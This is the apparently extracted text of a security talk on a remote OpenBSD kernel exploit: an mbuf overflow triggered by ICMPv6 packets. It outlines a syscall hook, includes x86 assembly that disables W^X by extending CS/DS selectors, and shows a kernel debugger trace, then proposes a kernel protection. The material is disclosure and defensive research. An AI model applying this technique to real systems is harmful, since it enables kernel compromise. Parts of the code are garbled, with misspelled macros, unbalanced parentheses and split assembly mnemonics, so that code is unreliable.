OpenBSD Remote Exploit

"Only two remote holes in the default install"

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Mbuf buffer overflow

Buffer overflow
Researching the “OpenBSD 008: RELIABILITY FIX” a new vulnerability was found: The \texttt{m\_dup1()} function causes an overflow on the \texttt{mbuf} structure, used by the kernel to store network packets.

![Diagram of mbuf chain overflow direction]

\textbf{Figure:} mbuf chain overflow direction

The function \texttt{m\_freem()} crashed...
Searching for a way to gain code execution
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/sys/mbuf.h

#define _MEXTREMOVE(m) do { \
    if (MCLISREFERENCED(m)) { \
        _MCLDEREFERENCE(m); \
    } else if (((m)->m_flags & M.CLUSTER) { \
        pool_put(&mclpool, (m)->m_ext.ext_buf); \
    } else if (((m)->m_ext.ext_free) { \
        (*((m)->m_ext.ext_free))(m)->m_ext.ext_buf, \
        (m)->m_ext.ext_size, (m)->m_ext.ext_arg); \
    } else { \
        free((m)->m_ext.ext_buf,(m)->m_ext.ext_type); \
    } \
    (m)->m_flags &= ~(M.CLUSTER|M.EXT); \
    (m)->m_ext.ext_size = 0; /* why ??? */ \
} while (/* CONSTCOND */ 0)
IcmpV6 packets

Attack vector
We use two IcmpV6 packets as the attack vector

Figure: Detail of IcmpV6 fragments
Where are we?

**Code execution**
We really don't know where in kernel-land we are. But *ESI* is pointing to our code.

![Initial and final situations diagram](image.png)

**Figure:** Initial and final situations
Now what?

Hook (remember DOS TSRs?)

We hook the system call (Int 0x80)

Normal System Call

User process

\[\text{INT 0x80}\]

Kernel

\[\text{return}\]

Normal syscall

Ring 3

Hooked System Call

User process

\[\text{INT 0x80}\]

Kernel

\[\text{Hook}\]

\[\text{return}\]

Hooked syscall

Ring 0

Figure: System call hook

Note: If the OS uses \textit{SYSENTER} for system calls, the operation is slightly different.
New syscall pseudo-code

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4. If userID == 0 :
   4.1 Get LDT position
   4.2 Extend DS and CS on the LDT (This disables WˆX!)
   4.3 Copy the user-mode code to the the stack of the process
   4.4 Modify return address for the syscall to point to our code
5. Restore the original Int 0x80 vector (remove the hook)
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OpenBSD W^X internals

W^X: Writable memory is never executable

i386: uses CS selector to limit the execution. To disable W^X, we extend CS from ring0.

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**Figure:** OpenBSD selector scheme and extension
Defeating W\(^X\) from ring0

Our algorithm, independent of the Kernel:

```
sl dt    ax       ; Store LDT index on EAX
sub esp, byte 0x7f
sg dt [esp+4]; Store global descriptor table
mov ebx, [esp+6]
add esp, byte 0x7f
push eax   ; Save local descriptor table index
mov edx, [ebx+eax]
mov ecx, [ebx+eax+0x4]
sh r edx, 16 ; base_low —> edx
mov eax, ecx
shl eax, 24 ; base_middle —> edx
sh r eax, 8
or edx, eax
mov eax, ecx ; base_high —> edx
and eax, 0xfff00000
or edx, eax
mov ebx, edx ; ld t —> ebx
;
; Extend CS selector
or dword [ebx+0x1c], 0x000f0000
;
; Extend DS selector
or dword [ebx+0x24], 0x000f0000
```
Injected code

\( W^X \) will be restored on the next context switch, so we have two choices to do safe execution from user-mode:

**Turning off \( W^X \) (from usermode)**

- From kernel...
- User Stack
- 1. mprotect()
- 2. fork()
- 3. Standard user−mode code
- mprotect() extends CS permanently

**Creating a \( W+X \) section**

- From kernel...
- User Stack
- 1. fork()
- 2. mmap()
- 3. copy
- 4. jmp to mmaped
- 5. Standard user−mode code

**Figure:** Payload injection options
Questions before going on?

Now we are executing standard user-mode code, and the system has been compromised.

```
preserving editor files
starting network daemons: sendmail inetd sshd.
starting local daemons: .
standard daemons: cron.

OpenBSD/i386 (test.esx.lab.core-sdi.com) (ttyC0)

login: Stopped at 0xd611a92d: pushal

```

```
ddb> trace
end(d6107f00,d0094bdc,d0094ac4,d623fbd0) at 0xd611a92d
nd_output(d0d7703c,d0d7703c,d6215e00,d0e94bc0,d623fbd0,d0d7703c,d0e94b54,0) at
nd_output+0x1bc
ip6_output(d6215e00,0,0,0,d0894c54,20,0) at ip6_output+0xe3d
icmp6_reflect(d6215e00,20,0,d6215b00) at icmp6_reflect+0x2b9
icmp6_input(d0094e0c,d0094dc0,3a,d0227000) at icmp6_input+0x55f
ip6_input(d6227000,d0d3ab00,0,d0e93000) at ip6_input+0x43c
ip6intr(50,10,10,10,d0093000) at ip6intr+0x5e
Bad frame pointer: 0xd0894e24

ddb> c

OpenBSD/i386 (test.esx.lab.core-sdi.com) (ttyC0)

login: 
```
Proposed protection

Limit the Kernel CS selector
The same strategy than on user-space. Used on PaX (http://pax.grsecurity.net) for Linux.

Figure: OpenBSD Kernel CS selector shrink
A third remote vulnerability?

IPv6 Routing Headers

Uninitialized variable on the processing of IPv6 headers.

1. DoS or Code Execution (depending who you ask!)
2. Present on CVS from January to March of 2007 (very few systems affected)
In this article we presented:

1. Generic kernel execution code and strategy
2. Possible security improvement of the kernel
Conclusions

In this article we presented:

1. Generic kernel execution code and strategy
2. Possible security improvement of the kernel
3. A third bug - No software is perfect
Final Questions?

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